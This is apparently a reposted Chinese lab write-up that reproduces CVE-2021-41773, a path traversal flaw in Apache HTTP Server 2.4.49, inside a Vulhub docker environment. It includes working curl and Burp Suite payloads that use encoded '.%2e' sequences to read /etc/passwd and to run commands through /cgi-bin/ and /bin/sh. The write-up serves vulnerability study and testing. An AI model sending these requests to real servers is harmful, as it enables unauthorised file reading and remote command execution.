【漏洞复现】Apache_HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773)

2023-11-05 09:44

本文主要是介绍【漏洞复现】Apache_HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

      • 1.1、漏洞描述
      • 1.2、漏洞等级
      • 1.3、影响版本
      • 1.4、漏洞复现
        • 1、基础环境
        • 2、漏洞验证
          • 方式一 curl
          • 方式二 bp抓包

说明内容
漏洞编号CVE-2021-41773
漏洞名称Apache HTTP 路径穿越漏洞
漏洞评级高危
影响范围2.4.49
漏洞描述在Apache HTTP Server 2.4.49中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将URL映射到预期文档根目录之外的文件
修复方案

1.1、漏洞描述

Apache HTTP服务器项目致力于为现代操作系统(包括UNIX和Windows)开发和维护开源HTTP服务器。

在Apache HTTP Server 2.4.49中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将URL映射到预期文档根目录之外的文件。

如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可以成功。如果CGI脚本也为这些别名路径启用,则可以允许远程代码执行。

1.2、漏洞等级

高危

1.3、影响版本

Apache HTTP Server 2.4.49

1.4、漏洞复现

1、基础环境

Path:Vulhub/httpd/CVE-2021-41773


启动测试环境:

sudo docker-compose build
sudo docker-compose up -d

访问http://your-ip:8080/即可看到

在这里插入图片描述

2、漏洞验证
方式一 curl

/icons/必须是现有目录

curl -v --path-as-is http://192.168.80.141:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

在服务器上启用mods cgicgid后,此路径遍历漏洞将允许执行任意命令

curl -v --data "echo;id" 'http://192.168.80.141:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

在这里插入图片描述

方式二 bp抓包
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

在这里插入图片描述

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
echo;id

在这里插入图片描述

这篇关于【漏洞复现】Apache_HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/348999

相关文章

hdu2544(单源最短路径)

模板题: //题意:求1到n的最短路径,模板题#include<iostream>#include<algorithm>#include<cstring>#include<stack>#include<queue>#include<set>#include<map>#include<stdio.h>#include<stdlib.h>#include<ctype.h>#i

poj 1734 (floyd求最小环并打印路径)

题意: 求图中的一个最小环,并打印路径。 解析: ans 保存最小环长度。 一直wa,最后终于找到原因,inf开太大爆掉了。。。 虽然0x3f3f3f3f用memset好用,但是还是有局限性。 代码: #include <iostream>#include <cstdio>#include <cstdlib>#include <algorithm>#incl

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

如何确定 Go 语言中 HTTP 连接池的最佳参数?

确定 Go 语言中 HTTP 连接池的最佳参数可以通过以下几种方式: 一、分析应用场景和需求 并发请求量: 确定应用程序在特定时间段内可能同时发起的 HTTP 请求数量。如果并发请求量很高,需要设置较大的连接池参数以满足需求。例如,对于一个高并发的 Web 服务,可能同时有数百个请求在处理,此时需要较大的连接池大小。可以通过压力测试工具模拟高并发场景,观察系统在不同并发请求下的性能表现,从而

【408DS算法题】039进阶-判断图中路径是否存在

Index 题目分析实现总结 题目 对于给定的图G,设计函数实现判断G中是否含有从start结点到stop结点的路径。 分析实现 对于图的路径的存在性判断,有两种做法:(本文的实现均基于邻接矩阵存储方式的图) 1.图的BFS BFS的思路相对比较直观——从起始结点出发进行层次遍历,遍历过程中遇到结点i就表示存在路径start->i,故只需判断每个结点i是否就是stop

Android Environment 获取的路径问题

1. 以获取 /System 路径为例 /*** Return root of the "system" partition holding the core Android OS.* Always present and mounted read-only.*/public static @NonNull File getRootDirectory() {return DIR_ANDR

Anaconda 中遇到CondaHTTPError: HTTP 404 NOT FOUND for url的问题及解决办法

最近在跑一个开源项目遇到了以下问题,查了很多资料都大(抄)同(来)小(抄)异(去)的,解决不了根本问题,费了很大的劲终于得以解决,记录如下: 1、问题及过程: (myenv) D:\Workspace\python\XXXXX>conda install python=3.6.13 Solving environment: done.....Proceed ([y]/n)? yDownloa

图的最短路径算法——《啊哈!算法》

图的实现方式 邻接矩阵法 int[][] map;// 图的邻接矩阵存储法map = new int[5][5];map[0] = new int[] {0, 1, 2, 3, 4};map[1] = new int[] {1, 0, 2, 6, 4};map[2] = new int[] {2, 999, 0, 3, 999};map[3] = new int[] {3, 7

49个权威的网上学习资源网站

艺术与音乐 Dave Conservatoire — 一个完全免费的音乐学习网站,口号是“让每一个人都可以接受世界级的音乐教育”,有视频,有练习。 Drawspace — 如果你想学习绘画,或者提高自己的绘画技能,就来Drawspace吧。 Justin Guitar — 超过800节免费的吉他课程,有自己的app,还有电子书、DVD等实用内容。 数学,数据科学与工程 Codecad